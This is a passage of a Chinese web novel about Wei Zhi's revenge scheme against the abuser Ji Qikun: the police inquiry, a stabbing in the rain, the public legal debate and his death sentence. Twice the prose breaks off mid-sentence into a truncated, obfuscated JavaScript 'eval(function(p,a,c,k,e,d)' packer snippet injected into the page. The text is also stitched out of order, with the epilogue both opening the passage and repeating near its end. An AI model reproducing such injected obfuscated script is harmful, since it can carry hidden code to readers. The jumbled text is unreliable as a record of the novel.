法庭内仿佛被一股狂风席卷,人声鼎沸,各种情绪交织成一片难以言喻的喧嚣。有的人激动得几乎要冲出座位,高声欢呼,仿佛胜利的号角在他们心中吹响;而有的人则惊讶地面面相觑,难以想象这出人意料的结局。 在开庭前,众人都悲观地预测季琪琨的虐待罪无法成立,然而,江都市中级人民法院迈出了历史性的一步。 一审判处死刑。 二审维持原判。 每一次判决的宣布,都是一场盛大的庆祝。 海豚被八年前射出的鱼枪击中,在弥漫的鲜血中渐渐沉没。 与此同时,季琪琨和魏芷的离婚案也在江都开庭。因为众所皆知的原因,应该有季琪琨的座位上,只有他的名牌。 魏芷就对着那张名牌诉说她深刻的感情。 “……我实在是无法见他一错再错下去了,为了让他重新做人,我忍痛将他送进监狱。我相信他能在里面改好的,我早就决定要等他出狱后再在一起,只是没想到,他再也没有了出狱的机会。他表现出来的外在那么完美,就像一个可以拯救灰姑娘于水火的王子,我怎么可能不爱他?我不愿意离婚,哪怕他的生命已经开始倒计时,我也想陪他走过最后的路程。如今,我是他最后的亲人了,我绝不会离开他。” 两次离婚法庭皆以感情尚未破裂为由,判决不予离婚。 一个月后,季琪琨的死刑在江都执行。 魏芷没有出席。 听说他曾在狱中写了一份遗嘱,但又在行刑前一晚给撕碎了。 谁也不知道那上面写了什么。 魏芷为防范遗嘱,提前准备好的那些手段没有派上用场,一切就已尘埃落定了。 她原本就没有多少亲朋,现在更少了。走之前,她只去看望了监狱里的翁秀越和派出所里的张开阳。 翁秀越最后被判处两年有期徒刑,只要表现良好,很快就能出来了。她和习蔓菁一样,都将季琪琨给出的赔偿赠送给了她。习蔓菁是因为觉得季琪琨给的钱脏,而翁秀越,则是因为贯彻始终的骄傲。 “我有手有脚,想要可以自己去挣。” “有什么事情就给我打电话。”魏芷说。 “那最好还是别有这个机会的好。” 恢复翁秀越的身份之后,她也恢复了原来那种不客气的语气。在那严厉的口吻下,魏芷感受到了一丝爱屋及乌的关心。 “谈进呢?”翁秀越低声说。 “骨灰被他妹妹领走了。”魏芷说。 “嗯。” 沉默流淌了好一会,翁秀越抬起眼来,强硬地说道: “没什么事就快走吧,这里不是什么好地方。以后别来了。” “好。” 魏芷放下听筒,站起身来。玻璃对面的翁秀越没有动弹,手中仍握着听筒。看着魏芷的眼睛,她一字一顿地用无声的口型说: “谢谢你。” 翁秀越没有问她为什么要离开江都市,张开阳问了。 “是因为过去在这里发生的那些不好的事情吗?” 大山关派出所旁边的小公园里,两人漫无目的地散着步。树荫遮蔽着太阳,阳光却从叶片空隙中落出,像是洒落一地的金子。 “也不全是。”魏芷说,“我想换个地方重新开始。” 张开阳沉默片刻,说:“有什么问题就给我打电话。” 魏芷忍不住笑了,张开阳露出一抹窘迫的神情。 “你笑什么?” “因为我刚刚才对翁秀越说了一样的话。” 张开阳便也露出了笑容。 “你呢?在那之后,有没有被上面处罚?”魏芷问。 按照程序规定,烂尾楼那夜,在张开阳得知整个计划后,应该第一时间汇报所里,但他没有。 “还好,也就是取消今年的先进评选。”张开阳腼腆地笑了,“反正有比我更优秀的同事。” 最后,终于到了告别的时刻。 张开阳将她送至路边:“一路平安。” 魏芷走出很远后,再回头,发现他依然站在原地,目不转睛地看着她。在他胸前的警徽,阳光下格外耀目。 临走之际,魏芷拖着行李箱,决定最后一次回家看看。 曾经的魏家门前,那个小小的杂货店招牌已经被卸下,显然法院找到了新的买家。 她曾经的家,曾经的牢笼,曾经无法挣脱的毒沼泽。在时光过去后,留下的只有温情的一面。夕阳抚在被磨得发亮的木门槛上,好像下一秒就有人从那扇紧闭的卷帘门中走出,满脸笑容地问她: “小芷,要不要妈给你下一碗面?” 再也没有人会在深夜里等她。 一切好的、坏的,都随风而去。 魏芷沉浸在自己的思绪中时,忽然有人从身后拍了拍她的肩膀。她回头之后,发现是一个身穿旧衬衫的中年男人。 “小姑娘,你认识这一家人吗?” “有什么事吗?”魏芷问。 “哦,是这样的。这户人家之前卖废品给我,太马虎了,连户口本也装在衣服里给我了。这两天我清货的时候才发现,这不赶紧就送过来——他们是搬走了吗?” “他们不在了。”魏芷客气地说。 “这样啊,那也没办法了……”中年男人摸了摸后脑勺,狐疑道:“不过,我是不是在哪儿听过你的声音?” 魏芷朝他微微一笑,转身朝来时路走去。 行李箱在石板路上发出的声音单调而有节奏,轮子与老石板接触的地方,每一声轻颠都如同心跳,回响在静谧的小巷中,仿佛在计数着她逐渐远去的时光。 她头也不回地消失在人来人往的街头。 53.第 53 章 大山关派出所,小小的问询室里站满了身穿警服的人。负责做笔录的男警察飞快地敲击着键盘,在他身后是两位眉头紧皱的正副所长。张开阳坐在男警察身旁,主导问询工作。他紧紧盯着对面的翁秀越,神情严肃而认真。 “……你和魏芷是什么时候决定联手的?” “就在季钟永收到真征信的那一天。”翁秀越说。 墙上的圆形钟表静静悬挂,秒针缓慢而沉重地移动。往昔的片段在翁秀越的脑海中一一闪过,仿佛只要跟随指针的轨迹,就能回到那个熟悉而又遥远的时刻。 “那一天,魏芷来了两次。” 第一次,她的十指空空如也。 “你是哪一种母亲呢,翁秀越?” 魏芷对她说道。 她戳破了她一直以来的虚张声势,戳破了她内心最不愿正视的那一面,她不愿意承认,却不得不承认,她是后一种无法理解女儿的母亲,女儿一直没有向她寻求帮助,也是因为害怕她的责骂。 一层水雾蒙上了视野,她从晃动的水波中怒视着魏芷,身体里发出像被激怒的母牛那样的喘息声。 魏芷也眼也不眨地与她对视。 她们的眼中除了彼此之外再无一物。 “翁阿姨,梅满不希望你一错再错下去。”魏芷说。 翁秀越从她的眼神中察觉了什么: “……你和梅满什么关系?” “我是梅满资助的那名高中生,和你一样——” 魏芷说: “我也很爱她。” 问询室内,翁秀越的话音落下后,房间里鸦雀无声。 张开阳调取银行流水必须有所长签名,调查结果也必须进行汇报。魏芷是梅满资助学生一事,所里的负责人都知道。 但在那一时刻,在事情发生之前,这只是魏芷作为资助学生反而爱上资助人前男友的道德问题。 按照通常的流程来说,他们原本连这个问题都无法发现。魏芷和季琪琨在当时的时间点并没有线索指向两人有犯罪活动,再多的推测都是毫无根据的臆测,对他们毫无缘故地进行调查,不仅在程序上难以走通,从结果上来说也只是白费功夫。张开阳执意要调取流水,在那个时候的他们看来,只是自找麻烦。 老吴拧开手中的保温瓶喝了口水,借此来掩饰后知后觉的尴尬。 “她说,她追求的不是某一个人的正义,而是所有情感操控受害者的正义。她要通过季琪琨来让全国的人都明白,这种行径卑鄙无耻,必将受到法律的严惩。” 在那间光线无法穿透的水站阁楼,有更为强烈明亮的东西照亮了她。 翁秀越一动不动地站在原地,震撼的感觉油然而生。 站在她面前的魏芷,有着比谁都坚定无畏的眼睛,那是历经磨难后的幸存者之眼,闪烁着不屈的勇气之光。 在那双眼睛面前,她只为自己先前的言行感到羞愧,说不出一个不字。 “第二次来,她的手上戴了结婚钻戒。我们演了一场戏,好让季琪琨相信我们真正决裂了。” “季琪琨中计之后,立即拉拢魏芷,想要借她的手来除掉我。” “怎么除?”张开阳问。 “他认为魏芷有杀人伪装意外而不被发现的才能。”翁秀越冷笑一声,“他以为所有人都跟他一样丧心病狂。” “接着说。”张开阳说。 “在水站二楼,我和谈进伪造了凶案现场,用的是鸡血,因为我们也不想真正惊动刑警。在魏芷和谈进的帮助下,我被装进了行李箱。魏芷带着我回到鹭岛府的地库。为了更逼真地骗过季琪琨,我在车库打破了自己的头,划伤了脸,然后让魏芷用保鲜膜将我捆起来。” “用保鲜膜和活性炭缠绕十几圈是魏芷的主意,为了在后备箱中待够最少四十八小时,我们提前演练了很多遍。”翁秀越说,“保鲜膜和活性炭能遮蔽视线,缠得越多,季琪琨特意解开的可能性就越小。我们在活性炭之间故意露出了面部一角,好让季琪琨能够确认我的身份。” “在他确信我已经被魏芷杀了之后,我们的计划就正式开始了。” 精神施压。 □□折磨。 魏芷用从季琪琨身上学到的手段来压迫季琪琨,打碎了他所有挣扎的尝试,用坚如磐石的结果告诉他,要想摆脱她,只有杀了她。 翁秀越漫长的讲述结束后,问询室里好一会都没有声音。 所长出去打了个电话,过了一会再回来时,神情无比严肃。 “我已将情况汇报给市公安局,刑侦大队将立即组织人手前往城外搜救。”所长说,“只不过,信号受到干扰,始终追踪不上,搜山不知道要花费多少时间——” “我知道位置。”翁秀越说。 “那就一起走,我马上联系刑侦那边——” “我有一个要求。”翁秀越说。 “什么要求?”所长瞪大眼睛。 “我要求张开阳也加入此案的调查小组。‘ 人命关天,所长一口答应下来。 不一会儿,张开阳和翁秀越便上了派出所的警车。老吴和另一名年轻警官一左一右夹着翁秀越,张开阳在驾驶席上启动警灯,随即猛踩油门。 大雨倾盆,深夜的宽阔大道上,路灯在雨幕中摇曳生辉。 尖利的警笛打破了夜幕的静谧,许多附近的人家都亮起灯光,有人从窗户里探出了头,惊讶地望着这罕见的一幕。 一辆辆警车如离弦之箭般汇聚,以防万一的救护车紧随其后,无数旋转的警灯发出耀眼的光芒,仿佛流动的红蓝光河在雨幕中闪烁。 车窗外水花四溅,风声呼啸。抑压的车内却寂静无声。 “如果赶不上呢?” 所有人心中都有一个共同的疑问。 但只有翁秀越,提前得到过回答。 “那也没有关系。”魏芷说。 如果我的鲜血,能吸引到更多人来关注这场无聊的复仇。那也没有关系。 这不是对某一人的复仇。 而是对所有情感虐待的复仇。 爬上地面的第一时间,魏芷捡起了季琪琨掉落在地的工兵铲,冲向不远处的信号屏蔽器,用尽全身力气敲了下去! 黑色的仪器在一瞬间四分五裂。 工兵铲继续打击露出表面的芯片,直到芯片变形毁坏。 魏芷连忙摸出身上的手机,因为密布的树林和瓢泼的大雨,手机上的信号只有一格。她尝试着拨出报警电话,却始终无法接通。 她再看向季琪琨和谭孟彦的方向,季琪琨已经被后者完全压制,他因过度用力而满脸狰狞,两只手虽然用力抵抗着上方的谭孟彦,却如徒手推山那样毫无成效。 “你先开车下山,不用管我!”谭孟彦大声吼道。 在短暂的思考之后,魏芷决定相信谭孟彦。行车记录仪已经记录下季琪琨杀人未遂的景象,此时已不必伪装崴脚来让季琪琨降低防备,她转身就往添越的方向跑去。 倾盆的雨水顺着她的头发流淌下来,她的睫毛几乎都要被雨幕遮蔽。好不容易回到驾驶席,她用手背抹掉眼睛上的雨水,毫不犹豫地启动了汽车的引擎。 就在她转动方向盘准备先行下山时,压制着季琪琨的谭孟彦忽然间露出了痛苦的表情。 季琪琨抓住机会,一拳将其打翻,随即抽出藏在外套下的匕首,毫不犹豫地刺向谭孟彦。 电光石火间,谭孟彦向一旁滚去,匕首插入了大腿外侧。他发出一声痛吼。 季琪琨刺中一刀后并未停手,而是连续又刺下了三刀。 当着她和行车记录仪,季琪琨用力拔出匕首,带出一串猩红的血珠,溅射在雨幕中,猩红与雨水交织,瞬间染红了夜色。 他沾血的面庞扭向车内的魏芷,握着匕首起身,朝魏芷大步而来。 刀尖上的血珠被雨水冲刷,汇聚到底部,再如断了线的珠子一样不断滴落。 魏芷的目光在季琪琨和受伤的谭孟彦之间来回移动,踏在油门上的右脚像冻僵了一样无法动弹。 在离添越只有一半路程的时候,季琪琨突然被拖住了脚步。 他朝下一看,脸色惨白的谭孟彦正死死抱着他的小腿。刺目的鲜血在他身下的水泊不断扩散。 季琪琨握紧匕首,朝着谭孟彦的后心处全力刺出! 咚! 在最后一刻赶下车的魏芷,用工兵铲的铲子背面狠狠击中季琪琨的后脑勺。他晃了一下,踉跄着跌倒在地。 魏芷扔下工兵铲,连忙去确认谭孟彦的伤势。 他脸色白得像纸,就像缺氧那样喘着粗气,鲜血一刻不停地从他的大腿根部涌出。谭孟彦用力推开魏芷,用沙哑的声音道: “别管我,快走!” 季琪琨摇摇晃晃地扶着车头重新站了起来,鲜血从他头上流下。 “你们一个都别想走!” 他愤怒地朝车轮胎刺出匕首。刺啦一声,轮胎里的气体随着破口迅速外逃。 趁他破坏轮胎的时候,魏芷争分夺秒地扶起谭孟彦。同时,她不忘捡起地上的工兵铲。 “我拿走了行车记录仪的内存卡。” 她用一句话打消谭孟彦的挣扎,这才将他的手臂顺利扛到了肩上。 他们深一步浅一步地踏入山林,大雨如注,将视野压缩至几尺之内。湿冷的空气混杂着泥土的腥味,远处滚动的雷声,带来阴郁的回响。 地面泥泞不堪,枯枝烂叶横陈,看似是平地的地方却可能是凹陷的土坑,魏芷和谭孟彦每迈一步,鞋子便陷入潮湿的泥土,仿佛被无形的力量拉拽。再加上谭孟彦腿部受伤,他们前进的速度十分缓慢。 很快,身后就传来了季琪琨追击的声音。 “谈进,你不是要为你妹妹报仇吗?怎么现在夹着尾巴逃窜了?” 山林深处弥漫着浓重的湿气。季琪琨昂贵的休闲西服被雨水浸透,艰难跋涉在灌木丛中的他就像一个失去理智的野兽。 那双黝黑的眼眸在斑驳血迹中闪烁着疯狂的光芒。 他急促的呼吸带着狂热的节奏,追寻猎物的心神却比平常更加冷静和精准。 谈进替代了翁秀越,那么翁秀越去哪里了? 他没有时间细想,也不愿去细想。因为后果他承担不起。 除了一条路走到黑,他已经没有其他选择。 藏在泥泞中的大树根茎和凸起的岩石随时可能让他失足,尽管视线受阻,他仍凭借狩猎者的本能,坚定不移地向前。 在他心中,一个声音在警告他事态已经失去控制,提醒他在不知不觉间跨过了无法回头的界限。 然而,这声音被肾上腺素的狂潮淹没,追捕的兴奋和消灭眼前威胁的欲望占据了主导。 他紧握匕首,刀柄在雨水和汗水的浸泡下变得湿滑。 为了扰乱前方两人逃跑的决心,他故意大声说道:“谈进,你知道你妹妹怎么死的吗?是被自己蠢死的!” 谭孟彦的脚步猛地一顿,但马上,魏芷就拉着他继续往前走去。 “我本来想体面一些分手,但她实在是听不懂人话。不仅在各个社交软件上搜索我的名字,还擅自用我女友的身份去探听我在江都美院的行踪。她太不要脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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鲜血染红了两人的衣裤。 她不想说话,也不知道此时该说什么,一切都在他们的计划之中,甚至是计划里最好的结果,但她并没有成功后的喜悦,只有内心苦涩无法言喻的悲痛。 “如果你们想要我的帮助,就将最后的收尾工作交给我。” “如果我的鲜血,能吸引到更多人来关注这场无聊的复仇。那也没有关系。” 水站阁楼唯一的窗户前,穿着白色背心的谭孟彦对魏芷和翁秀越说道。 手机在摔落的过程中,不知去了哪里。魏芷去摸谭孟彦的裤兜,想要寻找手机报警,却只摸到更多炽热的鲜血。 雨水模糊了她的视线,就连头顶稀薄的月光,也在走出山林后,反而消失无踪了。 冰冷的秋雨低沉而绵长地敲打着这寂静的山路,山林无法承载的雨水顺着山路流淌,汇成一条条细碎的溪流,匆匆忙忙地奔向山脚,只留下了单调而凄凉的流淌声。 魏芷坐在湿漉漉的山路上,身上衣服被雨水和鲜血浸透,她几次试图搀扶起谭孟彦,最终还是跌坐回烂泥之中。 “你还好吗?你一定要坚持住……很快,很快就会来人了……”她用颤抖的声音说道。 山坡上传来季琪琨下滑的脚步声,离他们越来越近。 雨水交织在谭孟彦的脸上,苍白的面庞透出一种超越痛苦的宁静。他的呼吸浅促而艰难,仿佛每一次呼吸都在与不可抗争的命运作抗争。尽管意识模糊,他仍竭力睁开双眼,凝视着魏芷,眼中闪烁着复杂的情感。 在他的唇间,声音如枯叶般轻轻飘落,微弱而沙哑。 “走吧……” 魏芷拼命摇头,再次站起身来,从他的腋下插入双臂,尝试拖动他沉重的身体。相较于谭孟彦的体重而言,她的力气无异于杯水车薪,她一次次地跌倒在水泊之中,又一次次地站了起来,她徒劳无功地尝试拖动谭孟彦的身体,就像她在十几岁的时候徒劳无功地在毒沼泽中挣扎。 “不要死……”又一次跌坐下来后,她跪倒在冰冷的水泊中,拼命哀求,“求你了,不要死……” 远远地,警笛的呼啸声响彻在风雨之中。 谭孟彦的脸上露出了虚无的微笑,那张总是面无表情的面孔,比任何一次都要温柔地注视着哭泣的魏芷。 “我本来就要死的……”他说,“别哭了。” 魏芷的眼泪却不停地流下。 雨水打在他的脸上,混合着汗水,也许还有泪水,顺着他的下巴滴落,落在冰冷的泥地上。他的声音几乎被雨声淹没,但在魏芷耳中,却清晰得如同响雷。 “小芷。” 他轻声呼唤,声音中带着无尽的温柔和不舍,那亲昵的二字如同微弱的星光,穿透了风雨的喧嚣。 “以后不要再哭了……都结束了。” 终于滑下山坡的季琪琨手握匕首向魏芷冲来,一辆警车风驰电掣地急刹在抱着谭孟彦的魏芷面前。然后是更多的警车。 蓝红色的光芒,照亮了黝黑的山间。 “季琪琨,放下武器举起双手!” 一声凌厉的枪响之后,季琪琨双脚一软,扑通一声跪在山路上。匕首也从他手中滑落。 无数警察蜂拥而出,转瞬就将季琪琨压倒在地。 随即赶来的张开阳从魏芷的表情上看出了一丝端倪,他的目光再落向她怀中好像睡着的谈进时,脚步慢慢停了下来。 魏芷轻轻放平谭孟彦,站了起来,染着鲜血的右手扯下了脖子上的一条项链。 有着黑色花盘的向日葵坠子从银链上滑落。 一切都结束了。 54.第 54 章 雨夜行凶的视频片段在一夜之间点燃了网络。 无论是电车上、商场里、还是咖啡厅中,无数个手机都在浏览同一个视频。 “卧槽,季氏集团继承人杀人了!” “真的假的?视频发我看看!” 虽然官方很快下场,视频片段下架不见,但舆论还是愈演愈烈。随着各种各样的猜测漫天飞,江都市公安局以最快的时间发布了警情通告。 曲折的真相令世人愕然,“梅满案”三个字,在梅满死后的第八年冲上微博的热搜第一。 项链里的微型摄像机,还有车上的行车记录仪,忠实地记录下了季琪琨的犯罪事实。无论他如何狡辩,事实都不会改变。 卷毛青年的监控器材店订单暴增,得益于他在每个相关讨论帖下的热烈顶帖。 “知道画面为什么那么清晰不?因为是我卖的摄像头啦!想要同款的快来鹰眼安防,报魏芷我给你打六折!” 随着舆论的扩散,网络上的热烈讨论,精神控制一词浮上大众的视野。 “你们知道吗,光季琪琨创建的那个聊天群就有两千人,听说网上还有专门卖教程的论坛,这东西都形成产业链了!太可怕了!” “我劝女孩都长长心吧——凭男人说得天花乱坠,不要拍那种视频。爱你的时候那是情趣,不爱你的时候,那就是捅你的刀子。” 在警方的全力追捕下,张开阳独自追寻了八年的夏铭天也在北方落网,张开阳得到消息后第一时间赶到当地派出所,从他口中得到了季腾一案最为关键的目击证据。 围绕着如何判处季琪琨,尤其是季琪琨在梅满案中是否构成虐待罪,法律人士纷纷在网络上进行了激烈的讨论。 “根据刑法对虐待罪的规定,虐待行为的文字表述被限定在“家庭成员”之间。显然梅满并不在其范围之内,八年前,梅满母亲也是因此败诉。我认为这次判决结果同样不乐观。” “什么叫有法可依?法律必须由立法机关来制定,而司法机关只负责执行法律。如果法院可以随意更改法律,那法律体系岂不是迟早乱套?” “怎么就是法院更改法律了?人大法工委主编的《刑法修正案九》的解释与适用中,对虐待罪中“家庭成员”的范围进行了明确。根据这一解释,家庭成员包括四种情况,其中第四种是由其他关系产生的家庭成员,这包括了同居关系。我请问你,季琪琨和梅满在事发时是否正在同居?你说法院不是立法机关,全国人大总是了吧?” “所谓的‘文本原教旨主义’强调,法律文本应当被严格遵循,不允许随意解释。这意味着,除非立法机关对法律文本进行了明确的修改,否则任何额外的说明都不能构成法律的一部分。简而言之,法律的解释必须基于文本本身,不能超越文本所赋予的界限。说明就是说明,说明和法律不一样,哪怕是你全国人大的说明也不是法律。” “一个年纪轻轻的小姑娘就这么死了,我作为个人肯定是很同情的,但是我们法律人不能只讲感情不讲法律,退一万步来讲,就算法律存在不合理之处,也应当由立法机关修订法律,而不是法院通过判决直接进行认定。” “你要法律是吧,2016年也就是今年3月1日开始实施的《反家庭暴力法》,第37条规定就有‘家庭成员以外共同生活的人之间实施的暴力行为,参照本法规定执行’。” “这条法律恰恰说明了家庭成员和非家庭成员是两个不同的范畴。法律只是将后者的暴力行为纳入了本法的适用范围,进一步明确了这两个群体的区别。因此,可以证明刑法中虐待罪的主体——家庭成员,并不包括家庭成员以外的人。这就好比学校里的辅导员,尽管他们在某些职责上与正式教师相似,遵循相同的指导原则,但我们不能将辅导员视为正式教师。在需要正式教师资格的特定场合,辅导员并不具备相应的资格,因此不适用。” “法律存在是为了保持社会的相对稳定,我相信学法的人都会有这样的认知。只有社会稳定,绝大多数人的生活才能稳定。因此,我们可以说法律是绝大多数人的正义。那么剩下的一小部分人呢?她们的正义法律就不管了吗?当然不是的。只是任何事物都是越靠近完美,进步所要付出的代价也就越大。” “法律好比是一把工具,其效用取决于使用者的意图和方式。正义之神之所以蒙上双眼,是因为真相往往模糊不清,这就需要警察和法官来揭开迷雾,还原事实真相。一昧地刻板套公式,那审判席上为什么坐的不是机器人?法律是没有感情的,但你要是学法把人性学没了,那就本末倒置了!” 两派争执不休的时候,处于案情中心的魏芷和翁秀越始终没有露面。 翁秀越因为使用假证和非法监听等一系列违法行为,正在拘留所中等待判决。而魏芷虽然在法律上走钢丝,但万幸未曾真正触犯法律。只是在医院住院期间,接受了许多调查问话。 出院那天,魏芷在张开阳的陪伴下办理了出院手续。 宽阔的屋檐像是慈悲的巨手,轻轻投下一片柔和的日光。她凝望着这片温暖的光束,许多人与事都在光影中缓缓起舞。 “谢谢你。”她转过身,对张开阳正式表达了谢意。 “没什么,我今天正好也休息。”张开阳身穿常服,微微一笑。 魏芷摇了摇头,说:“不光这一件事。” 张开阳不好意思地低头笑了: “……没什么。” 数日后,魏芷申请了和看守所里的季琪琨见面。 隔着一扇厚厚的玻璃,她再次见到了季琪琨。事发之后,季氏集团都立即发文与他切割,习蔓菁公开接受采访,要求法院一定要严惩杀人凶手,而季钟永则拒绝公开表态。 他穿着一身囚服,蓝白条纹如铁栏般冰冷,往昔风度早已不在,仅余枯槁的脸与凌乱的发。 见到魏芷,他没有勃然大怒,也没有谩骂诅咒,就像是已经接受了昭然若揭的命运似的,他接起电话,死气沉沉的脸上拧出一抹冷笑。 “你是来嘲笑我的吗?” “我来看看你,担心你在这里过得不好。”她一如标语图片里的温柔妻子说道。 “你在我身下娇喘的样子会被每个经手调查的人看到,是这种暴露让你觉得开心吗?”季琪琨恶毒地说。 他尝试用他的老手段激怒魏芷,但她脸上并没有丝毫波澜。 “我会等你改造好出狱的,我会像从前那样爱你。”她微笑道,“如果你还能出狱的话。” 季琪琨的右手猛地拍上玻璃,咬牙切齿的面庞狰狞又恶毒。在他身后的狱警连忙上前拉他,但他死死扒着玻璃不放手。 “魏芷,如果我真的被判死刑,我一定会化作厉鬼来缠着你——” “好啊。” 魏芷笑道。 “等你化作厉鬼,我们再相爱百遍,千遍,万遍——” 她凑近玻璃,朝对面的季琪琨一字一顿道: “直到你灰飞烟灭为止。” 走出看守所后,她没有看公交号,随意坐上了一辆停靠在公交站的公车。坐在最后一排靠窗的位置上,她戴上耳机,点开了小瓜子和猫咪姐姐的聊天记录。 一开始,梅满可能认为自己应当肩负起姐姐的责任,在魏芷面前总是装出一副成熟的样子,教导魏芷如何才能少挨一些打,但她的办法,无非就是无条件的顺从,来祈求大人的一时怜悯和放过。 随着时间的流逝,两人越来越熟悉。梅满也开始吐露一些自己的迷茫和难过。 “我不知道为什么,我妈妈很爱我,但我一点都不开心,相反,我经常感到很痛苦。她从来没有缺过我的生活费,我想要什么她基本上都会满足我。但我不能有一点违背她的地方,否则就是不知好歹。小瓜子,我真的是一个不知好歹的人吗?” “妈妈说她爱我,妈妈的朋友们也说她爱我,邻居和老师也说妈妈很不容易,为我付出了一辈子。每次我想要表达自己的内心,他们都会说我还不懂事,无法理解妈妈的爱。小的时候,我以为是她们在偏帮母亲,但后来进了社会,其他人也这么说,每次当我感到无法呼吸,他们就会说,‘妈妈是因为爱我才会这样的’,我不知道我的感受为何和他们不一样,但我知道一定是我错了,妈妈一定很爱我,是我不知好歹。” 梅满陪伴了魏芷,让她有了重新开始生活的希望,魏芷也在陪伴梅满,让她尝试背离母亲的控制。 瞒着翁秀越,梅满在大学开始了第一次也是最后的恋爱。 交往初期,她很幸福,总是对魏芷说,“像是找到了命中注定的那个人一样”。 “他风趣、体贴、即便我什么都不说,也知道我在想什么。” 然而,梅满和她见面的时间,随着她与季琪琨的交往而渐渐减少。魏芷还曾取笑她重色轻友,直到发现她在线上聊天中的字数也越来越少,语气越来越低沉。 魏芷几乎约不到她了。 直到有一天,她得知那个人对她动了手,魏芷十分气愤地要求梅满立即与男方分手,却得知梅满在男方的哄骗下拍摄了不雅视频,她不敢分手。 那一整个晚上,魏芷都在网上搜索相关案例,为她想办法。 她鼓励梅满及时止损,如果季琪琨敢泄露视频就报警抓他。在将近一个月的劝说之下,梅满渐渐被她说动,决定对季琪琨提出分手。 但分手只持续了一天,就被季琪琨以吞药自杀要挟,梅满再次回到了季琪琨的身边。而魏芷的联系方式也被季琪琨命令梅满彻底删掉。 看着消失在联系人列表的梅满,那个时候,魏芷就知道,梅满和她的母亲一样,或许永远也走不出那个名为爱的囚笼。 在彻底失联前的最后一次聊天里,梅满罕见地对她打了一长篇话: “最近,失眠成了我的常态。在漫漫长夜中,我思考时间,思考宇宙,思考我自己。渐渐地,我仿佛不再是我,我的喜怒哀乐,更像是在观看一个无关紧要的人的表演。我不再感到痛苦,所以才有机会把自己的人生看得更清楚。如果说季琪琨是打着爱的旗号在伤害我,那么第一个以爱之名想要掌控我的人,难道不是我的妈妈吗?那一瞬间,我忽然醍醐灌顶,原来,爱就是伤害啊。” “既然爱总会伤人,那么被谁所伤,又有什么区别呢?我渴望逃脱,却无法自拔。但我相信,小瓜子终将破土而出,成为一朵灿烂的向日葵。因为在黑暗中,只要有一线光亮,它便会用尽全身力气,朝着太阳的方向奋力生长。真希望我也能拥有你那样的勇气。” 公交车缓缓驶过城市的脉络,窗外的街景如一幅幅褪色的画卷在眼前倒退。高楼大厦的玻璃幕墙反射着夕阳的余晖,像是无数面破碎的镜子,映照出一个个虚幻的影子。街灯渐次亮起,黄昏的光晕在夜幕中扩散,魏芷湿透的面庞像是一朵沾满露珠的白芷。 六个月后,沸沸扬扬的案子在江都市中级人民法院开庭。 魏芷和张开阳站在人满为患的旁听席中,在她身旁,是被两名随行人员夹在中间的翁秀越。她暴瘦了四十多斤,黑发整整齐齐地盘在脑后,脸上画着干练的淡妆,定定地注视着台上正是宣判的女法官。 肃穆的声音响彻在鸦雀无声的空间中。 前方的被告席上,季琪琨低眉敛目,强装镇定,但难以掩饰身体的僵硬。 “本庭现在宣布对被告人季琪琨的一审判决。” “经审理查明,被告人季琪琨的行为构成虐待罪、故意伤害罪、故意杀人罪,严重破坏了社会秩序和公民的人身安全。被告人在犯罪过程中表现出极大的残忍和冷酷,对受害人及家属造成了无法弥补的伤害,且毫无悔改之意。” “根据《中华人民共和国刑法》的相关规定,本庭判决如下: 一、被告人季琪琨犯虐待罪,判处有期徒刑三年二个月; 二、被告人季琪琨犯故意伤害罪,判处有期徒刑十五年; 三、被告人季琪琨犯故意杀人罪,判处死刑; 四、数罪并罚,决定执行死刑,剥夺政治权利终身。 同时,根据《中华人民共和国刑事诉讼法》的相关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她原本就没有多少亲朋,现在更少了。走之前,她只去看望了监狱里的翁秀越和派出所里的张开阳。 翁秀越最后被判处两年有期徒刑,只要表现良好,很快就能出来了。她和习蔓菁一样,都将季琪琨给出的赔偿赠送给了她。习蔓菁是因为觉得季琪琨给的钱脏,而翁秀越,则是因为贯彻始终的骄傲。 “我有手有脚,想要可以自己去挣。” “有什么事情就给我打电话。”魏芷说。 “那最好还是别有这个机会的好。” 恢复翁秀越的身份之后,她也恢复了原来那种不客气的语气。在那严厉的口吻下,魏芷感受到了一丝爱屋及乌的关心。 “谈进呢?”翁秀越低声说。 “骨灰被他妹妹领走了。”魏芷说。 “嗯。” 沉默流淌了好一会,翁秀越抬起眼来,强硬地说道: “没什么事就快走吧,这里不是什么好地方。以后别来了。” “好。” 魏芷放下听筒,站起身来。玻璃对面的翁秀越没有动弹,手中仍握着听筒。看着魏芷的眼睛,她一字一顿地用无声的口型说: “谢谢你。” 翁秀越没有问她为什么要离开江都市,张开阳问了。 “是因为过去在这里发生的那些不好的事情吗?” 大山关派出所旁边的小公园里,两人漫无目的地散着步。树荫遮蔽着太阳,阳光却从叶片空隙中落出,像是洒落一地的金子。 “也不全是。”魏芷说,“我想换个地方重新开始。” 张开阳沉默片刻,说:“有什么问题就给我打电话。” 魏芷忍不住笑了,张开阳露出一抹窘迫的神情。 “你笑什么?” “因为我刚刚才对翁秀越说了一样的话。” 张开阳便也露出了笑容。 “你呢?在那之后,有没有被上面处罚?”魏芷问。 按照程序规定,烂尾楼那夜,在张开阳得知整个计划后,应该第一时间汇报所里,但他没有。 “还好,也就是取消今年的先进评选。”张开阳腼腆地笑了,“反正有比我更优秀的同事。” 最后,终于到了告别的时刻。 张开阳将她送至路边:“一路平安。” 魏芷走出很远后,再回头,发现他依然站在原地,目不转睛地看着她。在他胸前的警徽,阳光下格外耀目。 临走之际,魏芷拖着行李箱,决定最后一次回家看看。 曾经的魏家门前,那个小小的杂货店招牌已经被卸下,显然法院找到了新的买家。 她曾经的家,曾经的牢笼,曾经无法挣脱的毒沼泽。在时光过去后,留下的只有温情的一面。夕阳抚在被磨得发亮的木门槛上,好像下一秒就有人从那扇紧闭的卷帘门中走出,满脸笑容地问她: “小芷,要不要妈给你下一碗面?” 再也没有人会在深夜里等她。 一切好的、坏的,都随风而去。 